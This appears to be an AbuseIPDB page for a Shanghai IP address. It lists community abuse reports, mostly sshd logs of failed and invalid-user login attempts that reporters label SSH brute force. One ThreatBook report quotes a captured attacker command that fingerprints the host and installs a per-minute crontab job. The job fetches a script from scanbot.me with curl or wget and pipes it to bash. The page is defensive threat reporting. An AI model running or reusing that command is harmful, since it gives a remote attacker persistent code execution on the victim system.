JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 218.1.141.139

218.1.141.139 was found in our database!

This IP was reported 60 times. Confidence of Abuse is 0%: ?

ISP	CHINANET Shanghai province network
Usage Type	Fixed Line ISP
ASN	AS4812
Domain Name	online.sh.cn
Country	🇨🇳 China
City	Shanghai, Shanghai

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 218.1.141.139

Whois 218.1.141.139

IP Abuse Reports for 218.1.141.139:

This IP address has been reported a total of 60 times from 44 distinct sources. 218.1.141.139 was first reported on February 13th 2026, and the most recent report was 1 month ago.

Old Reports: The most recent abuse report for this IP address is from 1 month ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇭🇰 Gone fishing	2026-04-16 18:38:18 (1 month ago)	2026-04-17T02:38:02.422509+08:00 server.hsannu.com sshd[3909084]: pam_unix(sshd:auth) ...	Brute-Force SSH
🇨🇳 ThreatBook.io	2026-04-05 22:34:00 (2 months ago)	ThreatBook Intelligence: Scanner,vpn_proxy more details on https://threatbook.io/ip/218.1.141.139 20 ... show more ThreatBook Intelligence: Scanner,vpn_proxy more details on https://threatbook.io/ip/218.1.141.139 2026-04-05 10:57:16 ["echo \"PROC:$(grep -c ^processor /proc/cpuinfo 2>/dev/null) UNAME:$(uname -a 2>/dev/null) $((crontab -l 2>/dev/null \| grep -v gvc 2>/dev/null; echo \"* * * * * (curl -fsSL http://scanbot.me/?gvc 2>/dev/null \|\| wget -qO- http://scanbot.me/?gvc 2>/dev/null) \| bash\") \| crontab - 2>/dev/null)\"","grep -c ^processor /proc/cpuinfo 2>/dev/null","uname -a 2>/dev/null","(crontab -l 2>/dev/null \| grep -v gvc 2>/dev/null; echo * * * * * (curl -fsSL http://scanbot.me/?gvc 2 > /dev/null \|\| wget -qO- http://scanbot.me/?gvc 2 > /dev/null"] show less	SSH
🇨🇳 ThreatBook.io	2026-03-28 22:05:39 (2 months ago)	ThreatBook Intelligence: Scanner,vpn_proxy more details on https://threatbook.io/ip/218.1.141.139	SSH
🇯🇵 iBug	2026-03-28 20:42:25 (2 months ago)	2026-03-29T04:40:30.773599+08:00 rosemary sshd[582114]: Connection closed by 218.1.141.139 port 4671 ... show more 2026-03-29T04:40:30.773599+08:00 rosemary sshd[582114]: Connection closed by 218.1.141.139 port 46716 [preauth] 2026-03-29T04:42:17.677772+08:00 rosemary sshd[583391]: Connection closed by authenticating user root 218.1.141.139 port 55068 [preauth] 2026-03-29T04:42:23.757062+08:00 rosemary sshd[583453]: Invalid user sinham from 218.1.141.139 port 40306 ... show less	Brute-Force SSH
Anonymous	2026-03-27 19:25:44 (2 months ago)	2026-03-27T20:25:21.381458+01:00 mail.chill.at sshd[2349888]: pam_unix(sshd:auth): authentication fa ... show more 2026-03-27T20:25:21.381458+01:00 mail.chill.at sshd[2349888]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.1.141.139 2026-03-27T20:25:23.302048+01:00 mail.chill.at sshd[2349888]: Failed password for invalid user wangkun from 218.1.141.139 port 51060 ssh2 2026-03-27T20:25:42.291046+01:00 mail.chill.at sshd[2349906]: Invalid user gzhao from 218.1.141.139 port 40978 2026-03-27T20:25:42.476721+01:00 mail.chill.at sshd[2349906]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.1.141.139 2026-03-27T20:25:43.946359+01:00 mail.chill.at sshd[2349906]: Failed password for invalid user gzhao from 218.1.141.139 port 40978 ssh2 show less	Brute-Force SSH
🇩🇪 final	2026-03-27 04:07:26 (2 months ago)		Brute-Force SSH
🇩🇪 kreativstrecke	2026-03-26 08:58:16 (2 months ago)	2026-03-26T09:57:25.058045+01:00 srv02 sshd[2525649]: Invalid user xsd from 218.1.141.139 port 37088 ... show more 2026-03-26T09:57:25.058045+01:00 srv02 sshd[2525649]: Invalid user xsd from 218.1.141.139 port 37088 2026-03-26T09:57:49.533433+01:00 srv02 sshd[2525846]: Invalid user duchenzhuang from 218.1.141.139 port 46310 2026-03-26T09:58:15.232665+01:00 srv02 sshd[2525971]: Invalid user panjicai from 218.1.141.139 port 33280 ... show less	Brute-Force
Anonymous	2026-03-25 19:44:46 (2 months ago)	Mar 25 20:43:21 server20 sshd-session[10891]: User root from 218.1.141.139 not allowed because not l ... show more Mar 25 20:43:21 server20 sshd-session[10891]: User root from 218.1.141.139 not allowed because not listed in AllowUsers Mar 25 20:43:42 server20 sshd-session[11412]: Invalid user oin from 218.1.141.139 port 53992 Mar 25 20:44:04 server20 sshd-session[12301]: Invalid user pramila from 218.1.141.139 port 47114 Mar 25 20:44:25 server20 sshd-session[12909]: User root from 218.1.141.139 not allowed because not listed in AllowUsers Mar 25 20:44:45 server20 sshd-session[13658]: Invalid user apetro from 218.1.141.139 port 39344 ... show less	Brute-Force SSH
🇫🇷 Baking333	2026-03-25 09:45:45 (2 months ago)	Mar 25 10:45:17 vmi2194164 sshd[3161107]: Failed password for root from 218.1.141.139 port 32976 ssh ... show more Mar 25 10:45:17 vmi2194164 sshd[3161107]: Failed password for root from 218.1.141.139 port 32976 ssh2 Mar 25 10:45:45 vmi2194164 sshd[3161351]: Invalid user yushaoqi from 218.1.141.139 port 47306 show less	Brute-Force SSH
🇫🇷 basing	2026-03-24 08:52:49 (2 months ago)	Invalid user waf from 218.1.141.139 port 34058	Brute-Force SSH
🇫🇷 basing	2026-03-24 08:52:49 (2 months ago)	Invalid user waf from 218.1.141.139 port 34058	Brute-Force SSH
🇫🇷 basing	2026-03-24 08:52:49 (2 months ago)	Invalid user waf from 218.1.141.139 port 34058	Brute-Force SSH
Anonymous	2026-03-24 07:53:02 (2 months ago)	"Unauthorized connection attempt on SSHD detected"	Brute-Force SSH
🇫🇮 Ba-Yu	2026-03-23 17:35:38 (2 months ago)	Unauthorized ssh login attempt	Web Spam Hacking Brute-Force Exploited Host Web App Attack
🇩🇪 groupnet.at	2026-03-23 17:35:16 (2 months ago)	Mar 23 18:35:13 routing0302 sshd[2412342]: pam_unix(sshd:auth): authentication failure; logname= uid ... show more Mar 23 18:35:13 routing0302 sshd[2412342]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.1.141.139 Mar 23 18:35:13 routing0302 sshd[2412342]: Invalid user imobilis from 218.1.141.139 port 43222 Mar 23 18:35:15 routing0302 sshd[2412342]: Failed password for invalid user imobilis from 218.1.141.139 port 43222 ssh2 ... show less	Brute-Force SSH

Showing 1 to 15 of 60 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 194.187.179.100

🇬🇧 192.248.150.180

🇩🇪 165.245.240.3

🇸🇬 159.65.2.17

🇨🇳 113.57.5.139

🇰🇷 112.216.108.62

🇺🇸 66.132.186.187

🇺🇸 52.167.144.18

🇫🇮 35.228.236.90

🇨🇱 34.176.207.218

🇬🇧 193.163.125.166

🇲🇽 187.191.48.5

🇷🇺 185.182.65.219

🇨🇭 179.43.146.227

🇹🇭 110.49.6.37

🇺🇸 108.181.4.175

🇷🇴 80.94.92.182

🇧🇬 78.128.112.30

🇺🇸 54.213.79.179

🇳🇱 45.148.10.152